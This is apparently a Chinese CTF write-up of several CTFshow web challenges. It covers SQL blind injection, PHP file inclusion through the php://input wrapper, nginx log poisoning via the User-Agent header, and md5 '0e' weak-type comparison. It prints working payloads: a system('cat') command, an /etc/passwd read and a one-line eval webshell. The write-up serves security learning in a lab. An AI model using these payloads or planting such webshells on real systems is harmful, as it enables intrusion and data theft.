[CTFshow]Web记录
Web
Web签到题(注释隐藏,base64编码)
F12,发现注释里面有一串base64,解码拿到flag。
Web2(sql盲注)
打开题目一看似乎是个时间盲注,直接丢sqlmap爆破拿到flag。
Web3(文件包含,伪协议)
主页上有这么一行代码,很明显是文件包含漏洞,get一下url的值,然后包含文件。这里我们使用php的input伪协议,
先来个phpinfo试一下,成功显示,不过里面没什么重要东西。这次我们执行命令ls:
返回如下:
里面有个ctf_go_go_go很可疑,使用cat命令打开:
<?php system("cat 'ctf_go_go_go'");?>
flag就在里面,成功回显。
值得注意的一点:
第一次执行ls命令的时候我使用了eval函数,回显页面只有命令产生的回显,原来index里面的页面内容都不见了;第二次直接system执行,不使用eval的时候,回显页面是index加上命令回显,暂时不知道原因。
Web4(文件包含,日志注入,webshell)
还是一样的页面,但这次让我吃了点苦头。尝试和上一次一样的php伪协议,但是都会返回一个error页面,无可奈何查看hint,hint说此题为日志注入。
日志注入:
日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。
在不同的服务器,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
首先,构造payload:
?url=/etc/passwd
Linux下的/etc/passwd文件中有一些记录,如果可以访问这个地址说明我们可以查看内网文件。访问之后发现果然可以查看内网文件,并且知道了服务器是nginx。
构造payload:
?url=/var/log/nginx/access.log
看到了里面的内容,发现记录的东西都是user-agent,那我们burp抓包,在user-agent中注入,比如添加<?php phpinfo();?>试试看:
成功回显,我们将phpinfo()改成webshell进行注入:
<?php @eval($_POST['shell']);?>
使用蚁剑连接,在目录中可以找到flag。
值得注意的点
第一次蚁剑连接之后里面的文件都是奇奇怪怪的东西,后来重新弄了一遍之后就好了,也许是哪里出了点问题。
Web5(php弱类型,md5碰撞)
get两个值v1和v2,ctype_alpha检查v1是否仅包含字符,is_numeric检查v2是否为数字或数字字符串,然后构造md5碰撞。这是典型的弱类型比较问题,“ == ”运算符会将两个比较对象转换成同一类型再进行比较,对于字符串来说,数字开头的就会转换成相应数字,比如"1a"==1返回true,其他一概转换成0,如"a0"==0返回true。所以我们只要找一些md5值开头是0e的字符串就可以。
md5(QNKCDZO) = 0e830400451993494058024219903391 md5(240610708) = 0e462097431906509019562988736854
两者在比较的时候都会转换成0,从而导致判断结果为相等。
TRANSLATE with| Arabic | Hebrew | Polish |
| Bulgarian | Hindi | Portuguese |
| Catalan | Hmong Daw | Romanian |
| Chinese Simplified | Hungarian | Russian |
| Chinese Traditional | Indonesian | Slovak |
| Czech | Italian | Slovenian |
| Danish | Japanese | Spanish |
| Dutch | Klingon | Swedish |
| English | Korean | Thai |
| Estonian | Latvian | Turkish |
| Finnish | Lithuanian | Ukrainian |
| French | Malay | Urdu |
| German | Maltese | Vietnamese |
| Greek | Norwegian | Welsh |
| Haitian Creole | Persian |
- 中文(简体)
- 中文(繁体)
- 丹麦语
- 乌克兰语
- 乌尔都语
- 亚美尼亚语
- 俄语
- 保加利亚语
- 克罗地亚语
- 冰岛语
- 加泰罗尼亚语
- 匈牙利语
- 卡纳达语
- 印地语
- 印尼语
- 古吉拉特语
- 哈萨克语
- 土耳其语
- 威尔士语
- 孟加拉语
- 尼泊尔语
- 布尔语(南非荷兰语)
- 希伯来语
- 希腊语
- 库尔德语
- 德语
- 意大利语
- 拉脱维亚语
- 挪威语
- 捷克语
- 斯洛伐克语
- 斯洛文尼亚语
- 旁遮普语
- 日语
- 普什图语
- 毛利语
- 法语
- 波兰语
- 波斯语
- 泰卢固语
- 泰米尔语
- 泰语
- 海地克里奥尔语
- 爱沙尼亚语
- 瑞典语
- 立陶宛语
- 缅甸语
- 罗马尼亚语
- 老挝语
- 芬兰语
- 英语
- 荷兰语
- 萨摩亚语
- 葡萄牙语
- 西班牙语
- 越南语
- 阿塞拜疆语
- 阿姆哈拉语
- 阿尔巴尼亚语
- 阿拉伯语
- 韩语
- 马尔加什语
- 马拉地语
- 马拉雅拉姆语
- 马来语
- 马耳他语
- 高棉语